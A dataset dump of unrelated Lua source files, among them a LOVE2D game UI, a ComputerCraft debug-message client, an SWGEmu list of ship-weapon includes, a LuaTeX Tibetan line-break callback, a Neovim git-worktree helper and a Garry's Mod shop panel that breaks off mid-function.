content
stringlengths 5
1.05M
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require 'objects/squareButton'
require 'states/maingame/player'
maingame_UI = {}
local bigFont
local xScale
local pausedButton, continueButton, quitButton, restartButton, failedButton
function maingame_UI:load()
bigFont = love.graphics.newFont("assets/roboto.ttf", 92)
xbar = 0
isEnabledUI = true
failedButton = newSquareButton(gw / 2 - 270, gh / 2, 220, "Failed", Blue, White, 0, -50)
pausedButton = newSquareButton(gw / 2 - 270, gh / 2, 220, "Paused", Blue, White, 0, -50)
restartButton = newSquareButton(gw / 2 + 250, gh / 2, 120, "Restart", Purple, White, 0, -25, function() gameManager.Restart() end)
quitButton = newSquareButton(gw / 2 + 50, gh / 2 + 200, 120, "Quit", Red, White, 0, -25, function() stateManager.GameState = "Mainmenu" end)
continueButton = newSquareButton(gw / 2 + 50, gh / 2 - 200, 120, "Continue", Green, White, 0, -25, function() gameManager.Pause() end)
end
function maingame_UI:update(dt)
restartButton:update(dt)
quitButton:update(dt)
continueButton:update(dt)
if gameManager.health > 0 then
xScale = gw * 0.35 * gameManager.health / 100
else
xScale = 20
end
if xbar <= xScale then
xbar = xbar + (dt * 170)
elseif xbar >= xScale then
xbar = xbar - (dt * 400)
end
end
function maingame_UI:draw()
MaingameOverlay()
if (isEnabledUI) then
Healthbar()
scoreManager:draw()
end
player:draw()
if gameManager.pause then
PauseScreen()
elseif gameManager.isFailed then
FailScreen()
end
end
function maingame_UI:mousepressed(x, y, button)
if gameManager.pause then
continueButton:mousepressed(x, y, button)
restartButton:mousepressed(x, y, button)
quitButton:mousepressed(x, y, button)
elseif gameManager.isFailed then
restartButton:mousepressed(x, y, button)
quitButton:mousepressed(x, y, button)
end
end
function Healthbar()
love.graphics.setColor(0.6, 0.6, 0.6, 1)
love.graphics.rectangle("fill", 10, 10, gw * 0.35 + 1, 30)
love.graphics.setColor(0.3, 0.3, 0.3, 1)
love.graphics.rectangle("fill", 15, 15, gw * 0.35 - 10, 20)
love.graphics.setColor(0.95, 0.95, 0.95, 1)
love.graphics.rectangle("fill", 20, 20, xbar - 20, 10)
love.graphics.setColor(0.3, 0.3, 0.3, 1)
end
function FailScreen()
love.graphics.setColor(0, 0, 0, 0.6)
love.graphics.rectangle('fill', 0, 0, gw, gh)
love.graphics.setColor(0.3, 0.3, 0.3, 0.5)
love.graphics.rectangle('fill', 0, 0, gw, gh)
love.graphics.setLineWidth(90)
love.graphics.setFont(bigFont)
failedButton:draw()
love.graphics.setLineWidth(60)
love.graphics.setFont(squareButtonsmallFont)
restartButton:draw()
quitButton:draw()
end
function PauseScreen()
love.graphics.setColor(0, 0, 0, 0.6)
love.graphics.rectangle('fill', 0, 0, gw, gh)
love.graphics.setColor(0.1, 0.1, 0.1, 0.5)
love.graphics.rectangle('fill', 0, 0, gw, gh)
love.graphics.setLineWidth(90)
love.graphics.setFont(bigFont)
pausedButton:draw()
love.graphics.setLineWidth(60)
love.graphics.setFont(squareButtonsmallFont)
restartButton:draw()
continueButton:draw()
quitButton:draw()
end
function MaingameOverlay()
love.graphics.setLineWidth(700)
love.graphics.setColor(0.1, 0.1, 0.1, 1)
love.graphics.circle("line", gw / 2, gh / 2, gh * 1.05, 4)
love.graphics.circle("fill", gw / 2, gh / 2, gh * 0.1, 4)
love.graphics.setColor(1, 1, 1, 1)
love.graphics.setLineWidth(18)
love.graphics.circle("line", gw / 2, gh / 2, gh * 0.1, 4)
love.graphics.setLineWidth(112)
love.graphics.circle("line", gw / 2, gh / 2, gh * 0.55, 4)
end
return maingame_UI
|
-- dumps the header
local image = require "image"
local os = require "al2o3.os"
local string = require "string"
local table = require "table"
local test, okay = image.load("artifacts/fmtcheck_R8_SRGB_16x16.ktx")
if okay == false then
print("failed to to load the image")
goto continue
end
local w, h, d, s = test:dimensions();
local format = test:format();
local flags = test:flags()
print(string.format("%i x %i x %i x %i of %s", w, h, d, s, format))
::continue::
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-- GlassDebug - Client Script
-- Written 2015 by Tobias Maedel (t.maedel@alfeld.de)
-- Thanks to @TobleMiner
-- Licensed under MIT
local Key
local Receiver = nil
local Prefix = nil
function open (side, key, id, prefix)
if (not rednet.isOpen(side)) then
rednet.open(side)
end
Key = key
Receiver = id
Prefix = prefix
end
function writeText(text, color, displayTime)
message = {}
message.Key = Key
message.Text = text
message.Color = color
message.DisplayTime = displayTime
if (Prefix ~= nil) then
message.Text = "["..Prefix.."] "..message.Text
end
if (Receiver == nil) then
rednet.broadcast(textutils.serialize(message))
else
rednet.send(Receiver, textutils.serialize(message))
end
end
function ownPrint (...)
text = ""
for k,v in pairs(arg) do
if (type(v) == "string") then
text = text .. v
end
end
message = {}
message.Key = Key
message.Text = text
if (Prefix ~= nil) then
message.Text = "["..Prefix.."] "..message.Text
end
if (Receiver == nil) then
rednet.broadcast(textutils.serialize(message))
else
rednet.send(Receiver, textutils.serialize(message))
end
end
function hookGlobal()
_G.print = ownPrint
end
|
--Copyright (C) 2010 <SWGEmu>
--This File is part of Core3.
--This program is free software; you can redistribute
--it and/or modify it under the terms of the GNU Lesser
--General Public License as published by the Free Software
--Foundation; either version 2 of the License,
--or (at your option) any later version.
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
--See the GNU Lesser General Public License for
--more details.
--You should have received a copy of the GNU Lesser General
--Public License along with this program; if not, write to
--the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
--Linking Engine3 statically or dynamically with other modules
--is making a combined work based on Engine3.
--Thus, the terms and conditions of the GNU Lesser General Public License
--cover the whole combination.
--In addition, as a special exception, the copyright holders of Engine3
--give you permission to combine Engine3 program with free software
--programs or libraries that are released under the GNU LGPL and with
--code included in the standard release of Core3 under the GNU LGPL
--license (or modified versions of such code, with unchanged license).
--You may copy and distribute such a system following the terms of the
--GNU LGPL for Engine3 and the licenses of the other code concerned,
--provided that you include the source code of that other code when
--and as the GNU LGPL requires distribution of source code.
--Note that people who make modified versions of Engine3 are not obligated
--to grant this special exception for their modified versions;
--it is their choice whether to do so. The GNU Lesser General Public License
--gives permission to release a modified version without this exception;
--this exception also makes it possible to release a modified version
--Children folder includes
-- Server Objects
includeFile("tangible/ship/attachment/weapon/aggressor_weapon_s01.lua")
includeFile("tangible/ship/attachment/weapon/aggressor_weapon_s02.lua")
includeFile("tangible/ship/attachment/weapon/awing_weapon_s01.lua")
includeFile("tangible/ship/attachment/weapon/awing_weapon_s02.lua")
includeFile("tangible/ship/attachment/weapon/awing_weapon_s03.lua")
includeFile("tangible/ship/attachment/weapon/awing_weapon_s04.lua")
includeFile("tangible/ship/attachment/weapon/awing_weapon_s05.lua")
includeFile("tangible/ship/attachment/weapon/awing_weapon_s06.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_missile_pod_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_missile_pod_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s05.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s06.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s03.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s04.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s05.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s06.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s03.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s04.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s05.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s06.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s03.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s04.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s05.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s06.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s01.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s02.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s03.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s04.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s05.lua")
includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s06.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s05.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s06.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s01.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s02.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s03.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s04.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s05.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s06.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s01.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s02.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s03.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s04.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s05.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s06.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s01.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s02.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s03.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s04.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s05.lua")
includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s06.lua")
includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_large_base_s01.lua")
includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_side_l.lua")
includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_side_r.lua")
includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_small_s01.lua")
includeFile("tangible/ship/attachment/weapon/decimator_turret_base.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_missile_pod_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_missile_pod_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s05.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s06.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s03.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s04.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s05.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s06.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s03.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s04.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s05.lua")
includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s06.lua")
includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s03.lua")
includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s04.lua")
includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s05.lua")
includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s06.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s05.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s06.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s01.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s02.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s03.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s04.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s05.lua")
includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s06.lua")
includeFile("tangible/ship/attachment/weapon/imperial_gunboat_turret_ball.lua")
includeFile("tangible/ship/attachment/weapon/imperial_gunboat_turretbase_nose.lua")
includeFile("tangible/ship/attachment/weapon/imperial_gunboat_turretbase_wing.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s05.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s06.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s01.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s02.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s03.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s04.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s05.lua")
includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s06.lua")
includeFile("tangible/ship/attachment/weapon/lambda_turret.lua")
includeFile("tangible/ship/attachment/weapon/lambda_weapon1.lua")
includeFile("tangible/ship/attachment/weapon/lambda_weapon_body.lua")
includeFile("tangible/ship/attachment/weapon/merchant_cruiser_medium_turret_base_s01.lua")
includeFile("tangible/ship/attachment/weapon/rebel_gunboat_turretbase_s01.lua")
includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_ball.lua")
includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_nose.lua")
includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_s01.lua")
includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_s02.lua")
includeFile("tangible/ship/attachment/weapon/spacestation_turret_base_s01.lua")
includeFile("tangible/ship/attachment/weapon/spacestation_turret_base_s02.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_mini_turret_base.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_dome_base.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_dome_body.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_med_base.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_med_gun.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_square_base.lua")
includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_square_body.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s01_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s02_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s02_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s03_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s03_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s04_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s04_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s05_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s05_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s06_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s06_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s01_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s02_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s02_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s03_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s03_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s04_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s04_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s05_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s05_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s06_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s06_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s01_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s02_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s02_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s03_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s03_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s04_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s04_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s05_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s05_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s06_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s06_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s01_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s02_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s02_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s03_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s03_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s04_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s04_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s05_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s05_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s06_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s06_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s01_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s02_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s02_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s01_1.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s02_0.lua")
includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s02_1.lua")
includeFile("tangible/ship/attachment/weapon/ykl37r_turret_barrel_s01.lua")
includeFile("tangible/ship/attachment/weapon/ykl37r_turret_barrel_s02.lua")
includeFile("tangible/ship/attachment/weapon/ykl37r_turret_base.lua")
includeFile("tangible/ship/attachment/weapon/ykl37r_turret_body_s01.lua")
includeFile("tangible/ship/attachment/weapon/ykl37r_turret_body_s02.lua")
includeFile("tangible/ship/attachment/weapon/yt1300_radar_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/yt1300_turret_s01.lua")
includeFile("tangible/ship/attachment/weapon/yt1300_turret_s02.lua")
includeFile("tangible/ship/attachment/weapon/yt1300_weapon_s01_0.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s01.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s02.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s03.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s04.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s05.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s06.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s01.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s02.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s03.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s04.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s05.lua")
includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s06.lua")
includeFile("tangible/ship/attachment/weapon/z95_missile.lua")
includeFile("tangible/ship/attachment/weapon/z95_weapon_s01.lua")
includeFile("tangible/ship/attachment/weapon/z95_weapon_s02.lua")
includeFile("tangible/ship/attachment/weapon/z95_weapon_s03.lua")
includeFile("tangible/ship/attachment/weapon/z95_weapon_s04.lua")
includeFile("tangible/ship/attachment/weapon/z95_weapon_s05.lua")
includeFile("tangible/ship/attachment/weapon/z95_weapon_s06.lua")
|
require('polyglossia') -- just in case...
local add_to_callback = luatexbase.add_to_callback
local remove_from_callback = luatexbase.remove_from_callback
local priority_in_callback = luatexbase.priority_in_callback
local next, type = next, type
local nodes, fonts, node = nodes, fonts, node
local nodecodes = nodes.nodecodes --- <= preloaded node.types()
local insert_node_before = node.insert_before
local insert_node_after = node.insert_after
local remove_node = nodes.remove
local copy_node = node.copy
local has_attribute = node.has_attribute
local end_of_math = node.end_of_math
if not end_of_math then -- luatex < .76
local traverse_nodes = node.traverse_id
local math_code = nodecodes.math
local end_of_math = function (n)
for n in traverse_nodes(math_code, n.next) do
return n
end
end
end
-- node types as of April 2013
local glyph_code = nodecodes.glyph
local penalty_code = nodecodes.penalty
local kern_code = nodecodes.kern
-- we make a new node, so that we can copy it later on
local penalty_node = node.new(penalty_code)
penalty_node.penalty = 50 -- corresponds to the penalty LaTeX sets at explicit hyphens
local function get_penalty_node()
return copy_node(penalty_node)
end
local xpgtibtattr = luatexbase.attributes['xpg@tibteol']
local tsheg = unicode.utf8.byte('་')
-- from typo-spa.lua
local function process(head)
local start = head
-- head is always begin of par (whatsit), so we have at least two prev nodes
-- penalty followed by glue
while start do
local id = start.id
if id == glyph_code then
local attr = has_attribute(start, xpgtibtattr)
if attr and attr > 0 then
if start.char == tsheg then
if start.next then
insert_node_after(head,start,get_penalty_node())
end
end
end
elseif id == math_code then
-- warning: this is a feature of luatex > 0.76
start = end_of_math(start) -- weird, can return nil .. no math end?
end
if start then
start = start.next
end
end
return head
end
local callback_name = "pre_linebreak_filter"
local function activate()
if not priority_in_callback (callback_name, "polyglossia-tibt.process") then
add_to_callback(callback_name, process, "polyglossia-tibt.process", 1)
end
end
local function desactivate()
if priority_in_callback (callback_name, "polyglossia-tibt.process") then
remove_from_callback(callback_name, "polyglossia-tibt.process")
end
end
polyglossia.activate_tibt_eol = activate
polyglossia.desactivate_tibt_eol = desactivate
|
local Path = require("plenary.path")
local jobs = require("worktrees.jobs")
local status = require("worktrees.status")
local M = {}
-- Setup string splitting
function string:split_string(sep)
local fields = {}
local pattern = string.format("([^%s]+)", sep)
local _ = self:gsub(pattern, function(c)
fields[#fields + 1] = c
end)
return fields
end
M.str_to_boolean = function(str)
return str == "true"
end
M.get_git_path_info = function()
local git_info = {}
local is_bare_repo = jobs.is_bare_repo()
if is_bare_repo == nil then
return nil
end
git_info.is_bare_repo = M.str_to_boolean(table.concat(is_bare_repo))
local toplevel = jobs.toplevel_dir()
if toplevel == nil then
git_info.toplevel_path = nil
else
git_info.toplevel_path = Path:new(table.concat(toplevel)):parent()
end
return git_info
end
M.get_worktree_path = function(folder)
local git_info = M.get_git_path_info()
if git_info == nil then
return nil
end
-- If repository is bare we can just use the folder name as path
-- Otherwise append folder name to git toplevel path
local path
if git_info.is_bare_repo then
path = Path:new(folder)
else
if git_info.toplevel_path == nil then
status.warn(
"Repo is not bare and could not get git toplevel. Aborting..."
)
return nil
end
path = Path:new(git_info.toplevel_path:joinpath(folder):absolute())
end
return path:make_relative(vim.loop.cwd())
end
M.get_worktrees = function()
local worktrees = jobs.list_worktrees()
if worktrees == nil then
return nil
end
local output = {}
-- Parse worktree data from `git worktree list --porcelain` command
local sha, path, branch, folder, is_bare = nil, nil, nil, nil, false
for _, worktree_data in ipairs(worktrees) do
worktree_data = worktree_data:split_string(" ")
-- Data has an empty line between worktrees
if not worktree_data[1] and not is_bare then
local data = {
sha = sha,
path = path,
branch = branch,
folder = folder,
}
table.insert(output, data)
status:info(string.format("Parsed worktree: %s", vim.inspect(data)))
sha, path, branch = nil, nil, nil
elseif worktree_data[1] == "worktree" then
is_bare = false
path = worktree_data[2]
local split_path = worktree_data[2]:split_string("/")
folder = split_path[#split_path]
elseif worktree_data[1] == "HEAD" then
sha = worktree_data[2]
elseif worktree_data[1] == "branch" then
local split_path = worktree_data[2]:split_string("/")
branch = split_path[#split_path]
elseif worktree_data[1] == "bare" then
is_bare = true
end
end
return output
end
M.update_current_buffer = function(git_path_info)
local cwd = vim.loop.cwd()
-- Check if buffer is a file and cwd is not bare repo
local buffer_path = Path:new(vim.api.nvim_buf_get_name(0))
if not buffer_path:is_file() or git_path_info.is_bare_repo then
vim.cmd("e .")
return
end
-- Construct path where file would exists in worktree where we are changing to
-- Example: worktree/test/text.txt -> new_worktree/test/text.txt
local relative_path = buffer_path:make_relative(
git_path_info.toplevel_path:absolute()
)
local split_path = relative_path:split_string("/")
table.remove(split_path, 1)
local buffer_path_in_new_cwd = Path:new(
cwd .. "/" .. table.concat(split_path, "/")
)
if not buffer_path_in_new_cwd:exists() then
vim.cmd("e .")
return
end
-- Create new buffer from file path and delete old buffer
vim.schedule(function()
vim.fn.bufnr(buffer_path_in_new_cwd:absolute(), true)
vim.api.nvim_buf_delete(0, {})
end)
-- Switch to newly created buffer
vim.schedule(function()
local bufnr = vim.fn.bufnr(buffer_path_in_new_cwd:absolute(), false)
vim.api.nvim_set_current_buf(bufnr)
end)
end
return M
|
local PANEL = {}
function PANEL:Init()
self.category = "other"
self:TDLib()
:HideVBar()
end
function PANEL:SetCategory(name)
self.category = name
end
local function formatTime(time)
time = time * 60
//local mo = math.floor(time/2592000)
local d = math.floor(time/86400)
local h = math.floor(math.fmod(time, 86400)/3600)
local mi = math.floor(math.fmod(time, 3600)/60)
return string.format("%02iд %02iч %02iм", d, h, mi)
end
local function BuyItem(data, unique_id)
Derma_Query( "Вы уверены, что хотите купить "..data.name.."?", "Покупка товара", "Да", function()
netstream.Start("dustcode:BuyItem", unique_id)
end, "Нет")
end
function PANEL:Update()
local w = self:GetParent():GetWide()
local Cols = math.Round(w/175)
if (175*Cols > w) then
Cols = Cols - 1
end
local grid = self:Add("DGrid")
grid:Dock(FILL)
grid:DockMargin(w/3*.10, 5, 0, 0)
//grid:SetPos( 5, 5 )
grid:SetCols( Cols )
grid:SetColWide( 175 )
grid:SetRowHeight( 250 )
local discountIcon = _DUSTCODE_DONATE:GetImage("discount.png")
